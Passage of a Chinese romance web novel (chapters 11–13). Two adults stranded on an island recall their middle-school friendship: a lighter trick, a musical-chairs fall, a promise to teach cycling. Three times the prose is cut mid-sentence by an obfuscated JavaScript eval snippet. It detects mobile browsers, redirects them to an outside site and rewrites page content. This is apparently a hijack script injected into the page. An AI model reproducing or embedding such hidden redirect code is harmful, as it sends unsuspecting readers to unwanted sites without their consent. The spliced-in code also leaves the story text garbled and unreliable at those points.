半截蟹钳也突然被季瑞给抓住,今天他们的运气实在是好的过分,这只大蟹钳拎起来后两个人看到了一只特别大的兰花蟹,蟹钳上还夹着一条不大不小的巴浪鱼。 要不是看见身上脏得要命的衬衫裙,以及那条满是泥巴的阔腿牛仔裤,康妮恐怕都要幻视自己是跟季瑞专门来到这个海岛游玩,而不是流落荒岛求生。 季瑞将那只大螃蟹丢进筐里,康妮这时候突然就来了劲,即使天空已经开始飘雨,之后雨下得越来越大,把小姑娘的头发浇得湿透了。 她站在砂岩上,抱着这堆海鲜转圈,白色的衬衫裙被她转成旋开了一朵白色海浪似的形状。 那只螃蟹甚至在她跑跑跳跳的时候掉了出来。 季瑞跟在她的身后捡起来。 雨水越下越大。 姑娘的身影由纤瘦高挑变得越来越小。 那双笔直匀称穿着牛仔裤的长腿,最后变成了一个穿着白色蕾丝蛋糕长袜和黑皮鞋的小孩子的腿,身上是一条相当漂亮的淡蓝色蓬蓬裙。 一回头,可可爱爱地拿着十二中的入学通知书朝着他挥手。 “季瑞,我来报道啦!” 头发是褐黄色的,不管是因为营养不良还是怎么样,和康妮这幅跟洋娃娃似的小巧五官看上去非常适配。 熟人们之间总爱说康妮长得东不东,洋不洋的,也常被亲朋好友误会成少数民族的小孩或者混血。 实际上她是个名副其实的汉族人。 季瑞被康妮喊住的那一刹那,看怔了神。 那一刻内心深处出现了犹如蝴蝶振翅般的心跳,毫不夸张的,一大群蝴蝶从他的心口唰一下涌着飞出来。 电流滑过脊背般的,他心想,康妮好像个商店橱窗的小手办。 还是小朋友爱而不得的那一款。 小手办康妮在教学楼报道领书的时候无聊,站在那踢皮鞋,搞内八字,鞋头对着鞋头玩儿,季瑞看到后从人挤人的队列中穿梭,废了九牛二虎之力跟诸葛康妮并排站。 “诶,给你变个魔术好不好。”季瑞掏出了一个打火机。 诸葛康妮从小怕火,上了初中也一样怕,看到打火机瞬间把头摇成了拨浪鼓,甚至躲远了点。但她很快被某个讨厌的朋友重新拉回来,非要让她看这个恐怖的煤油打火机。 “怕啥,你看打火机,等会给你展示个魔术。” 打火机被一声闪亮清脆的翻盖声打响,蓝红色的火焰从打火机的上方蹦出来,火焰出来之后,康妮的恐惧感就减弱了些,但是打火机点燃的那一瞬间她还是惊得肩膀瑟缩了下。 接着她瞳孔都瞪大了,简直不敢相信自己的眼睛。 季瑞将那一团火焰包裹在了自己的手里,火苗的尖端甚至能安安稳稳地在季瑞的指尖跳舞,更吓人的是,康妮歪着脑袋顺着向上看到季瑞的表情。 他很得意,完全感觉不到一点烫。 他的手也没有被烧焦。 “我天,这是假的吗?” 康妮晕乎乎的,犯懵,白白嫩嫩的小手也朝着季瑞煤油打火机的方向伸过去。 季瑞来不及推开她,慌得要死,“别别别”这三个字已经哆哆嗦嗦又战战兢兢地说出来,但是康妮的手还是伸了向火焰。 晚了。 “哇,好烫。” 诸葛康妮用收集的雨水煮那些贝壳,手不小心蹭到了锅的边缘,烫得她连连抚摸耳垂散热,回过头来的时候,她看见季瑞肢体松懈地坐在旁边发着呆。 她伸出手来晃了晃季瑞的眼睛。 “被烫到了?傻瓜。还是我来吧。” 论烹饪,这算是季瑞的强项。诸葛康妮不仅四体不勤五谷不分,甚至做饭也称得上是“黑暗料理”的开山祖师。 能用常规流程把任何食物做成人完全意想不到的难吃样子,这一点算是她独一无二的天赋。 “你才傻……”这句话没说完,康妮盯着火,突然想起来十几年前一件非常有意思的事情,于是把话咽回去,表情非常耐人寻味。 季瑞很快捕捉到了诸葛康妮这个古怪的微表情,诸葛康妮刚抬屁股他就知道诸葛康妮要放什么屁,看那表情很明显是憋着坏呢。 “说吧,什么事儿。” 他将贝壳从锅里捞出来,用随身带急救盐包简单调了个味,先是自己尝了尝,觉得不错又用急救刀撬了块肉,熟稔地递到康妮的嘴边。 诸葛康妮没有理睬这块馋人的贝壳肉,因为此刻她有更感兴趣的事情要问。 “我就想知道,当年初中上学的时候,你变的那个魔术到底怎么回事啊?” “魔术?” 季瑞虎口撑住下巴,唇角一勾,有些意味深长,看来刚才诸葛康妮和他想到一块去了。 “你的手,为什么?” 她话音未落,季瑞立即跟上:“不怕烫?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812663|175316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 十四年前的小魔术。 这个小魔术的谜底一直没有被揭晓,她实在百思不得其解。 “对啊?”季瑞故意卖了个关子,“你想知道为什么吗?你先把这口贝壳吃完再说。” 康妮乖乖吃下贝肉,觉得美味又吃了第二枚第三枚,认认真真剖开贝壳的时候,她终于得到了十几年前关于“火”的魔术的谜底,她听到季瑞在她身边拧了拧湿衣服的袖口,说。 “因为小时候调皮,而且,手粗糙,手厚。” 康妮非常惊讶,不可思议地摇摇头,听到了什么无稽之谈一样:“怎么可能的事?” “就是手的皮厚,纯皮厚。” 说着说着康妮想验证季瑞刚才说的那个观点,拽着季瑞的手就往火堆上引。 “诶!诶诶!现在不行了,现在的手不行了。” 康妮收回拽别人的力气,手却被季瑞牵住。 她幸灾乐祸的笑容很快凝固在脸上。 因为她意识到这个动作有些亲密,十分不同寻常。 季瑞捏着她的手轻轻晃了晃,最后很完全地握住她的手,让她感受到他掌心的温暖,甚至是激动到有些细密的汗。 很喜欢和她亲近,之前是,现在也是。 约摸半分钟,季瑞松开手,藤壶和贝类的粗糙的壳儿已经砸到了他的身上,有些还砸中了他的下巴颏。 他知道暴躁的康妮又回来了。 满是气球的班级里面总会出现那么几个特别讨人厌的男孩子,别看季瑞平时规规矩矩的,到了元旦晚会这种场合也和普通男同学一样的疯。 “啪!” 又一个红色的气球噼啪一声响,炸掉了。 诸葛康妮十二三岁时最害怕两件事,汪汪狂吠的大型猎犬,没有任何征兆的突然爆炸。 “季瑞!你能不能不要搞那个红气球了!” 诸葛康妮自己也快跟教室里挂着的气球一样快炸了。 不过元旦晚会已经进入尾声,班主任老王也拎着公文包下班回家了。教室里的布置需要处理掉,最快的方式就是用中性笔扎破这些布满教室的红气球。 “讨厌死了季瑞!” 走廊和楼道太黑了,康妮不敢自己一个人下楼,只能坐在教室里等季瑞。 她陪着今天的值日生们收拾教室的时候又感觉到非常折磨。 更令人讨厌的是,季瑞手里拿着的那个扎气球的中性笔,是她用零花钱才买的斑马限定。 她很生气,气到眼泪不自觉地噼里啪啦往下掉。 最后委屈得攥着自己手里的斑马中性笔,红着眼眶,无声地掉眼泪,扭曲到想自己把这支心爱的中性笔折断。 迷迷糊糊头顶熊熊怒火的康妮被朋友们拖拽着来到教室的正中央。 教室的地面上散落着各式各样的彩带和闪片,软糖薯片的包装袋,堆成一个小山包。 值日生们只差最后一步,将这些废弃物装进门外的大垃圾箱。 他们之间有个人脑瓜子上灯泡一亮,突然说想玩“抢椅子”的游戏。 于是诸葛康妮便和季瑞变成了同一个赛场的对手。 六个人抢五个凳子。 11. 11 自行车 “老班讲,数学不好的学生叫什么来着?那天把我笑死了都。” 值日生谷林峰拿着扫帚,端了把椅子坐过来,在这里观看“抢椅子”大战。 “臭皮蛋。上次说的是诸葛康妮还是季瑞啊?哈哈哈。” “不记得了,好像都说了。” 另一个值日生杜欣昀挠了挠头,回想老班讲过的话。 一个是臭皮蛋一号,另一个是臭皮蛋二号。 两个臭皮蛋。 两个“臭皮蛋”目前正在这场抢椅子游戏当中争得不相上下,你死我活,挺到了最后的关卡。 三个人抢两个凳子。 陆京辉这小孩子不仅嘴皮子损,身形也瘦瘦小小的十分灵活。 班级剩余几个看热闹的值日生在那里拍着巴掌哼着歌儿,等到这首奥尔夫抢椅子之歌哼到了某个让人意想不到的节点。 突然猝不及防的安静了。 陆京辉一个灵活转身准备坐下来,却没想到。 诸葛康妮和季瑞竟然早早就一左一右一对儿公母石狮子般地坐定。 小瘦子陆京辉只好从喉咙眼发出不可置信的冷哼,接着不信邪地推了一把两个人的椅子,却发现这俩人跟强力胶502粘在椅子上了似的。 于是输赢他也不在乎了,现在更好奇的是这两个货究竟谁才是最后的赢家。 比赛开始了,由小瘦子陆京辉带头,开始拍手唱歌儿。这回,他选了个很特别的歌儿,邓丽君的《甜蜜蜜》。 节奏舒缓,最后的落点也就让人更加捉摸不定。 甜蜜蜜,你笑得甜蜜蜜; 好像花儿开在春风里, 开在春风里。 在哪里,在哪里见过你? 你的笑容这样熟悉…… ① 唱着唱着,同学们就开始嬉皮笑脸,倒作一团变成笑岔了气儿的大白嗓。 因为这个歌的歌词,仿佛在暗暗指代些什么似的。 大家都心照不宣。 大概没有人不知道季瑞喜欢康妮这件事。 只有康妮本人蒙在鼓里的样子非常戏剧化。 所以这首歌就显得更逗了。 诸葛康妮一个箭步横跨过去,用自己两条白而细直的腿占据在椅子的正上方,只要音乐声一停下,她就能立马坐稳。 这个计谋当然不会得逞,因为季瑞也将自己的腿架过来,挡住康妮的腿,不让她发挥。 “让开!” 她的嗓子很少发出这么大的声音,仍然是又细又软的。 但有点凶。 “休想。” 他轻飘飘地答。 “我要赢。” 她继续。 “我也。” 他也继续。 季瑞和康妮对峙了挺久,终于,陆京辉在一个两人僵持住双双跑神的时刻,突然结束了音乐。 季瑞轻轻用脚勾过康妮的小腿,下一秒小姑娘就被绊倒摔在地上。只不过他的臂膀整个揽住康妮,确保她不会摔倒。 但康妮这回不知道为什么,挺较真,一把推开了季瑞的胳膊,接着因为脚被绊倒,很快失去平衡。 “轰隆”一声和课桌椅一起倒在地上,痛得抱着膝盖闷声哭。 她躺在那里动不了了。 季瑞的眼神从最一开始和康妮闹着玩时的窃喜变成惊慌失措再到担忧害怕。 额头上冒出了细细密密的汗,想说话却吓得完全说不出来话,只看到身边一圈同学们围上去,问康妮怎么样疼不疼,要不要紧。 接着诸葛康妮就擦干净眼泪缓和了过来。 坐直身体后她仍然按着膝盖,抹了抹眼泪,眼眶红润润的跟个小兔子似的。 季瑞在同学们的身后听到康妮说了句“我没事”。悬着的心终于放下了,抓紧时间拨开人群,走到康妮身边,笑嘻嘻的,不过表情很快就凝固了。 因为康妮看他就像看透明人似的。 眼神完全忽略,忽视他,态度冷若冰霜,把他冻得直哆嗦。 她站起身,接过同学陆京辉递给她的书包,转身走了。 剩教室里面几个同学在那里做值日的收尾工作。 楼道里漆黑一片,她看不清楚楼梯的样子,但是一腔孤勇地下楼,下楼的时分,泪水瞬间浸湿眼眶,这时候康妮哭得氤氲模糊、陵城话叫哭得倾盆盖雨的。 离开166班级教室后的楼道越来越黑,光线越来越稀少。黑的色彩越浓重,诸葛康妮哭得就越伤心,心尖酸酸的,膝盖痛痛的。 漆黑一片,只能非常缓慢地挪着下楼,但她也放不下面子来找季瑞。 越放不下面子,越觉得自己委屈,难过。 季瑞。 季瑞实在是太讨厌了! 诸葛康妮拖着疼痛的腿,一小步一小步挪下楼,有那么一瞬间还在心里怪自己是一个爱哭鼻子的脆弱鬼。 “康妮!你能行吗?不行的话你就拉着我的书包带,我带你下去得了!” 陆京辉一蹦一跳地从楼层高处跳着下台阶,拽住了康妮的书包带。 站在166班级教室门口的季瑞向下看,看到了康妮最终还是扭扭捏捏地拽住了陆京辉的书包带。 他站在楼梯口,慢慢悠悠地往下走,一边走一边默默从自己的背包里拿出一个新款的手电筒。 照亮着前方的路。 只不过,眼睁睁看着那个陪康妮说说笑笑,在黑暗当中牵引她的人从自己变成了小瘦子陆京辉。 此刻脑门上的冷汗稍稍擦净,他亦步亦趋地跟在两个人后面,保持着一定的距离,非常小心,避免康妮看到自己的身影,怕她生气。 但他又担心康妮下楼的时候会摔跤。 一个阳光灿烂的男孩子头顶上久违地显现出了乌云。 他的目光聚集在康妮走下楼梯和陆京辉挥手告别的那个瞬间。回家后,他久久不能平静,心里也酸得冒了尖儿。 季瑞躺在床上,辗转反侧,呈侧卧的姿势打开小灵通,手机屏幕里还是上次康妮请客的那天早晨的通话记录。 他想给康妮打个电话道歉,但是没成功。 “对方暂时无人接听,请稍后再播。” 这是个非常不妙的征兆,他心想,诸葛康妮极有可能一气之下把他的号码拉入黑名单了。 他紧张得一个鲤鱼打挺坐起身,立马来到书房,打开家中的台式电脑,立即登录Q.Q。 作为陵城的初中生,学习压力很大。 有极少的时间能够登录电脑看Q.Q,每天大约半个小时。 通常学生们会选择在这个时候看自己最喜欢的影视剧或者打游戏。 但季瑞总喜欢挑这个快乐的时间钻进诸葛康妮的Q.Q空间里偷偷看一看,在她的留言板里留几句话找点儿存在感。 如果运气好的话,她也会正巧在线。 顶着她那个叫做“康妹”的Q.Q昵称,名字下边缀着一群五颜六色的会员钻。 Q.Q秀也十分狂野,彩虹头、豹纹衫、破洞裤和各种耳钉唇钉之类的时尚造型,季瑞知道,这是属于康妮在虚拟世界里的小叛逆。 夏天,聒噪的蝉鸣,屋子里晒得干干净净的被子有些暴晒过后的焦香,空调水顺着滴下来,滴在书房的桌面上,周围泛着淡淡的清爽的花露水味儿。 他只记得最重要的事。 在他心里最重要的事,就是康妮每周五会回家打开电脑玩儿Q.Q农场、摩天大楼和时尚都市。 康妮现在也在线! 季瑞点开聊天框,历史消息是康妮上个月的回复他的俏皮话。 Jerry:欢迎打扰。 康妹:哈哈哈!对不起,不是本人,我是诸葛康妮的堂妹诸葛钢铁! Jerry:你的意思是我农场的菜都是诸葛钢铁偷的喽? 康妹:可以这么理解。 …… 他想问。 于是他问了。 和十四年后的自己同频。 季瑞:“所以,你的电话为什么一直打不通?” 两个成年人站在废弃学校的天台上,拨云见雾般掀开那些热带植被构成的枝枝叶叶,向不远处的海边眺望。 深蓝色的海。 雨过天晴后的蓝色海洋和天空的灰蓝色融成一片,看上去很性感。 “我当时说了呀,手机关机了。” 季瑞揉了一把旁边人的头发:“为什么关机?不许关机。” 诸葛康妮怒了,爆锤了身边人一下,但估计捶得不痛,因为她看到旁边的人很享受的样子,甚至调侃她在给自己按摩。 吃饱喝足后两个人都没了什么危机意识。 既来之则安之。 甚至坐在天台的阶梯上悠哉悠哉地看海,享受着大自然的风的洗礼。 心灵大概是被净化了。 她想起来过去很多美好的经历。 “那个年代还只有Q.Q呢,就爱玩Q.Q不爱接电话,短信费太贵了,还是Q.Q留言更划算。” “那你还生我的气吗?”季瑞坐在她的身边,试探性地朝着她靠近了些。 整套动作一气呵成行云流水,非常自然。 因为他们经常坐在一起。 做了好几个学期的同桌,他们一起吃自助餐、跟着班级一起春游、漂流、露营、游学、一起被放学留堂…… 许多许多的一起。 季瑞是康妮最讨厌的朋友,可是康妮却是季瑞最喜欢的朋友。 “小时候的事情有什么好生气的,不就是摔了一跤嘛。”康妮心情不错,拍拍季瑞的背。 季瑞也拍拍她的背。 长大了也一样,从十几岁出头的时候,季 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812664|175316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑞一直就是这样。 拍康妮的背,总要避开女生的肩带或是敏感部位。拍她的背时,如同拍一个革命战友的背,真诚而友善,彻彻底底发自内心的那一种。 人少的地方,诸葛康妮又被老师骂了。 季瑞拿着班级里值日的黄色老式扫帚,做贼似的挪着来到诸葛康妮的身边,等老师走了以后,过来拍了拍她的背,鼓励她。 “没事的,我陪你,你什么时候把数学试卷订正完,我们就什么时候走。” “算了你先回家吧。”康妮很失落,没有什么心情搭话。 “可乐喝吗?百事可乐,冰镇的,我去学校对面买来带给你。” 他在努力找点让人开心的话题。 “不喝。” “那我陪你坐在教室里。”他又说。 “别这样。” 她害怕和异性同学单独待在教室里被人说早恋,她很敏感。 “我们这是在学习。” 季瑞脸上的笑容很灿烂,一笑露出八颗牙齿,跟初夏外边亮噔噔的日光似的,让她没有拒绝的理由。 他轻轻拍了拍康妮的背,又很快收回手,端着扫帚坐在康妮的前排,又娴熟地从康妮的独角兽笔袋里掏出支0.7毫米的签字笔。 这种笔在十二中166班很流行。 这是一种书法笔,方便写出笔锋的那一种。 “可惜,我的字太丑了。”他撑着脑袋旋着笔,叹气。 康妮在那里订正上周没订正完的数学试卷,一笔一划地写着。 虽然数学题写得不好,但她的笔迹非常漂亮,潇洒得跟个成年人一样。 季瑞看了很羡慕,连连夸赞。 “我教你写字!” 康妮突然来了兴致,中午老师们和同学们都走得差不多了,校园里面空荡荡的,这时候也不用顾及什么男女有别,风言风语之类的。 于是她捏了捏季瑞的手。 “你不能攥着笔,不能那么用力地握住笔,你要松垮垮地放在手里,想象自己的手里握了半个鸡蛋。” 季瑞的眼睛因为康妮的脸蛋凑过来而敏感地眨了好几下。 他极力地克制住自己的紧张,然后深呼吸,学着康妮的样子做。 “像这样?” “不对,你的手太紧了,这样写字会很累。”她认真地教着。 “还有控笔。学写字最重要的就是基本功,要学会各种各样的横平竖直的写法,我有一本书法书,送给你。” “控笔?” 诸葛康妮点点头,冲着一张空白的草稿纸说。 “你来试试看。” 她率先在草稿纸上写上一个洒落大气又潇洒的“永”字。 季瑞则搞怪似的,用自己一堆丑丑的、小小的“永字”将康妮的这个漂亮的“永”字团团包围。这看上去非常滑稽,很幼稚又很好笑,把自己都逗乐了。 最后康妮也放弃了,因为无论怎么教,季瑞的字都可以做到丑得五花八门,各有千秋。 那张数学试卷终于密密麻麻的写满了字儿,被诸葛康妮乖乖送去了数学老师的办公室。 她怕订正的内容还是会出错,不敢放在试卷堆的最上面,趁老师不在,迅速捏起来几张纸卷,塞在那几张试卷的下面。 最终深吸一口气,将办公室的门带上。 办公室门口是拎了拎书包肩带的季瑞,他笑着朝她挥挥手。 两人走到校门口,季瑞上前打开自行车的锁栓。 诸葛康妮厚重的书包被放在了季瑞捷安特自行车的车前筐里。 她的背后很轻松,于是解放双手,到小卖部买了两袋雪莲雪碧冰,拿了一袋递给季瑞。 他嘴里叼着冷饮,控着自行车往前慢慢的骑。 甚至能做到单手握把,另一只手撕开雪莲的包装,吸溜一下将一块雪碧冰含进嘴里。 她感叹,好厉害。 包括那辆捷安特,这牌子很火,从11年康妮还在上学的时候就已经十分流行了,是不少初中高中生的dreambike,质量很好,造型很硬朗。 雪碧冰在嘴里慢慢融化,康妮时不时回头看两眼季瑞。 其实她完全想象不到,两个轮子垂直立在地上,座椅那么高的一种交通工具,是怎么样维持这么好的平衡的? 如果会骑自行车,她早晨不仅可以多睡会,还可以很快地像风一样地自由驰骋, 那样才是个小大人。 于是她停下来,开口:“季瑞,我想学自行车。” “你不会骑自行车???” 季瑞一个摆腿停在路边,看上去很惊讶。 “特别小的时候骑过,不过长大了爸爸妈妈就不让我骑了,说是会长成罗圈腿……我觉得这都是借口,他们应该是怕骑自行车不安全。” “你可以教教我吗?” 12. 12 诸葛茉莉的扣子 “好啊,那简单。” 他回答得异常干脆,像是接到了一个使命必达的任务。 季瑞推着自行车,放缓步调,简单观察了下此刻诸葛康妮的神情。 “今天正好没有晚自习,要不然等下午下课之后,我们直接去公园练练?” 康妮捏了捏手中绿色包装袋的雪莲,将最后一块即将融化的冰块儿塞进嘴里,含着冰块儿点了点头。 “我觉得我的名字好土啊。”她突然说。 诸葛康妮吃完了雪碧冰,扭头一路小跑着回到季瑞和季瑞的自行边上,冷不丁冒出来这样一句话。 “土?” 季瑞重新踏上自行车,缓慢地行驶,嘴里念念叨叨说了几遍诸葛康妮的名字,也没路费哪里土。 “那你想叫个什么名儿?”他追问。 “唔。” 她挠了挠头。 正巧这时候看到自己手里攥着个绿箭薄荷硬糖的盒子,上面写着“茉莉薄荷风味”,因此有了灵感。 “诸葛茉莉,我要叫诸葛茉莉。” 空荡的街道里发出一段惊天爆笑,某些人笑岔了气儿,自行车就这么停在路边上,差点整个人连同自行车一样侧翻在街道的柏油路上。 季瑞使出了好大的劲儿才让自己勉强维持平衡,脚也卡住了,但就这么愣生生硬塞在斜杠里,瘫坐在地上笑。 “诸葛茉莉”越不让他笑,他越是忍不住,笑得鼻涕眼泪齐出。 “诸葛茉莉”非常有人道主义精神地将季瑞的脚从自行车的横杠里拽出来,检查了下没有受伤后,“啪”一下甩着手猛扇在他的脚背上。 “滚啊!” “不是,你……哈哈哈,你。”季瑞努力地克制着自己的笑,终于迎着风揩了两把眼泪,“你认真的吧,你不会真的要叫诸葛茉莉来着吧?真的,这个名字太土了,比之前的土多了,人怎么能,有这么土的审美。” 诸葛康妮不高兴了,开始举例论证。 “上周你借用了我的手账本,还说我记录的歌词都很有品味,也不知道是人说的还是狗说的。” “我说的。”季瑞笑嘻嘻地回应。 俩人很快走到了陵城十二中这条叫做“新光路”的尽头,在路的尽头,他们就要告别了。但是季瑞始终没有忘记那件要教康妮学自行车的事儿。 “下午放学别走!” “知道了。” 康妮也昂着声回应。 夏令时,中午午休的时间很长,康妮睡得迷迷糊糊地起床,最后发现外边天气已经阴沉沉的了,闷闷的,看上去要下暴雨。 她的膝盖开始痛了。 距离下午上第一节课还有将近半个小时的时间,康妮怕出门后立马就要下雨变成落汤鸡,于是将教辅书试卷等快速装进书包,拿了把雨伞就出门了。 她是第一个到教室的,班主任抱着几沓试卷来到班级,看见只有康妮在,给她下发了个任务,让她把这周的周练习卷发下去,等到同学们来到班级,提醒他们下午的最后两节数学课,改为自习课,写试卷。 “好的,老师。” 两点半时间还没到,抵达班级的同学已经在诸葛康妮这里领试卷了,不到上课的点,不少同学已经开始做试卷习题。 教室里时不时会有那么一两声哈欠声。 也不知道是不是自习课抬安静,头顶的风扇声太规律太催眠了。 这次测验,老王在黑板上给了答案,让同桌之间互相改。 康妮久违地在季瑞的面前露了怯,生怕自己因为错得太多被坐自己身边这个讨厌的同桌嘲笑,她小心翼翼地将试卷递过去,从始至终目光都没从自己那张试卷里离开。 同桌当然察觉到了她的这种小心思,笑嘻嘻地故意逗诸葛康妮玩,将她最喜欢的一支樱桃小丸子签字笔故意碰掉在地上,就不让她看自己试卷。 果不其然。 “季瑞!你能不能别烦,你也太讨人厌了!” 弓腰驼背低下身子去捡签字笔的瞬间,季瑞的目光在康妮那件淡绿色的夏季校服上停留。 他很明显地看见自己右边坐的这个女孩子因为没扣扣子,露出了胸前雪白的一片,他微不可察地红了耳根,随后很快转移目光。 却看到第三组好几个男生盯着诸葛康妮这个方向看,眼神并不是很友好。 他甚至能敏锐地听到几个男孩在讨论康妮肩带的颜色。 于是他笑嘻嘻的脸色瞬间变得凝重。 “诸葛康妮,把领口系上。” “闷啊。”康妮显得非常不耐烦,“再说了,我已经扣了两个扣子了。” “会走光,你扣上。”他坚定不移。 “不扣。我凭什么听你的,现在是二十一世纪,又不是大清王朝。为什么要女生把所有的扣子全部扣上?封建思想。” 康妮很叛逆。 接着季瑞强行拽着她的领口,就这么硬生生地将她的领口扣上了,惹得康妮非常不满。 “你真的很烦。” “不许动了。”季瑞表情很严肃,态度坚决。 诸葛康妮坐在位置上嘀嘀咕咕的,季瑞不予理会,又朝着刚才那几个目光不太友好的男生那边看,发觉他们纷纷低下了头,挠着脑袋假装在认真批改试卷,释怀地松了一口气。 这场雨。 最后还是在放学时倾盆而至。 诸葛康妮拿着伞,从教室的窗口向下看,看到季瑞在下课的最后一分钟里提前蹿出教室,将自己的自行车搬到教学楼里面避雨。 今天这场自行车教学看来是完成不了的了。 也因为这一天下雨,两个人都将这个事情给忘了。 大概上学的时候,尤其是上初中的阶段,学习是一件顶要紧的事情,至于唱歌、绘画、写作、舞蹈或者是学习自行车,都是一种不务正业。 是没那么重要的事。 可是明明当时在季瑞的心里是很重要的事。 现在也只能后悔一样。 成年了之后,深造或者工作才是顶要紧的事情。 人一刻都不能停歇,必须要在前进的路上不停地跑啊,冲刺啊,不能停,人们常说,逆水行舟,不进则退。 成年人的世界里,只有马不停蹄的加班,无限续杯的咖啡和做不完的项目汇报。 “好舒服,我感觉到很放松,人生就是要浪费在这样的地方。”诸葛康妮躺在海岸上,深深地吸了一口气,又叹出来一口气。 “被困在这里也挺好的,我虽然被困住了,但是总感觉自己逃出来了。” “终于……不用管出勤率、就业率、帮扶项目和心理咨询,再也不用手机24小时开机,随时待命,不是出现在急诊室就是出现在派出所里了。”康妮竟然流泪了,“真的,就算是死在这里也值了,我居然能死在这么美丽的地方。” “我不要死。”季瑞悬崖勒马,及时打消她的念头,“我要和你一起活下去,然后上岸。” “我也不想死。”康妮笑笑,“我就是这么一说。” 季瑞躺到她的身边,也调侃:“怎么样,手机关机的感觉如何?现在还害怕流落荒岛吗,看上去流落荒岛和回学校当辅导员,你更愿意选择前者。” “对。” 她甚至觉得这样癫狂的人生走向太有意思了,直接全部毁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812665|175316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灭,就像赤脚行走的流浪汉,洒脱而无所畏惧。 只是不知道鹤州那边会发生什么,单位少了她又会怎么样。 人口失踪的信息会不会引发社会热议,又或者说,少了他们两个人,世界照样转,根本没人在意。 她唯一担心的就是爸爸妈妈会不会害怕,会不会以为她真的死了,伤心欲绝。 这是促使她从这里离开的唯一信念。 两个人站起来,朝着茂密的树林里走,像往常一样熟练地在树林里找些酸涩却得以补充维生素的果实。 2013年春季,两个小孩子跟着全班一起春游。 “看?我摘的果子比你的大多了。” “哦。” 诸葛康妮语气平平。 今天心情不好,因为在大巴车上坐错了位置,班主任叫她跟在下一排同学的后边,她跑了神,没听懂班主任说的话。 愣愣地站在原地,听着老班的训斥不知所措。 “诸葛康妮,你们这种学习差的人怎么一点规则意识都没有,怎么一点不守规矩?” 这话当着全班同学都面说出来后,诸葛康妮瞬间跟个红透的虾子似的,羞耻又难堪,不知道是该跟着大队伍往上走,还是站在原地继续不动。 老班讲的话她已经听不清了,感觉泪水氤氲了眼眶,直到出现在果园和露营点的时候,她还是心情不佳,完全没了春游的兴趣。 “康妮,饼干吃吗?巧克力味儿的。” 季瑞递过来一包摆在露营布上的零食,递过来给诸葛康妮。 这时候他还没关注到她头顶上的乌云,只是听到诸葛康妮说不吃,很奇怪,他又随便挑了一样东西递过去。 “那这个呢?好多鱼,蕃茄味的,或者果冻?薯片?牛肉干?巧克力?那酸奶?” 季瑞每说一样东西,诸葛康妮就会坐在他身边摇摇头,表示否定。 搞到最后连季瑞都开始自我怀疑了。 今天也没做什么坏事惹诸葛康妮不高兴啊,怎么这个也不吃,那个也不吃。诸葛康妮为什么心情不好? “因为老王,老王骂她了。” 小瘦子陆京辉最终还是没忍住在季瑞的耳边用气声悄悄揭晓答案。 陵城十二中组织学生春游基本上都是去一些自然景点,例如漂流和爬山,逛果园,在充满泥土气息的青草地里露营。 诸葛康妮一个人窝在角落,小口小口地吃着从家里带来的水果黄瓜,偷偷掉眼泪。 其实她一直都不知道,她最讨厌的朋友,其实是最好的,一直默默关心着她的,真正的朋友。 “不是,季瑞你自己不吃,你还要装包里干啥,拿出来给我们分享分享啊?”陆京辉开始哭天喊地的抗议,因为他想吃季瑞那包番茄味好多鱼,眼见季瑞已经把所有零食都装进了书包,拉上拉链,他还不死心,“那你给我半包行不。” “不行。” “那你这包拎这么多东西,不重啊?” 陆京辉白眼连连。 “不重。” 他走向她,对着她敞开他装得满满的都是食物的包儿,就像现在在海岛一样。 无论康妮饿还是不饿,是不是闹别扭。 “居然摘了这么多果子。”康妮感叹,拿出破布包里其中一个颜色非常浅的绿色果子,失笑,“吃了你的果子,不能把我给毒死吧。” “当然不能。” 季瑞得意的时候,一脚踩空,滑着往下坠,还好拉住了其中一棵树的裙带叶,不然就要整个人都滚下去了。 “没事吧季瑞!” 她走上前,用尽浑身的力气一把抓住他的袖子。 13. 13 备用校服 “没事,别担心。” 季瑞的劳保鞋噌一下抵在下边的某颗树的树根上,几滴汗掉在鞋的绒革面上,一滴又一滴。 嘀嗒,嘀嗒。 无人察觉的教室角落,他们的右下方就是教室的后门,风从教室后门穿进来,很凉爽。陵城夏季雨水多,这也是即将落雨的征兆。 教室里一点儿也不热,尤其是诸葛康妮和季瑞坐着的地方。 可是季瑞却突然趴在位置上不动,如果不仔细观察,根本看不出他此刻脸上痛苦的神情,他遮掩得很好。 可是细细密密的汗很快滚成黄豆,滴落在地上。 在他的视野里,是砸向了地面,痛得浑身都在战栗。 很痛。 他也不明白为什么这么痛。 痛得连话都说不出来了,在意识模糊之前听到了康妮对他说话,一双细眉拧成一团,慌张到手足无措。 手臂被诸葛康妮搭在自己的肩膀上,看上去她甚至想把自己背起来。 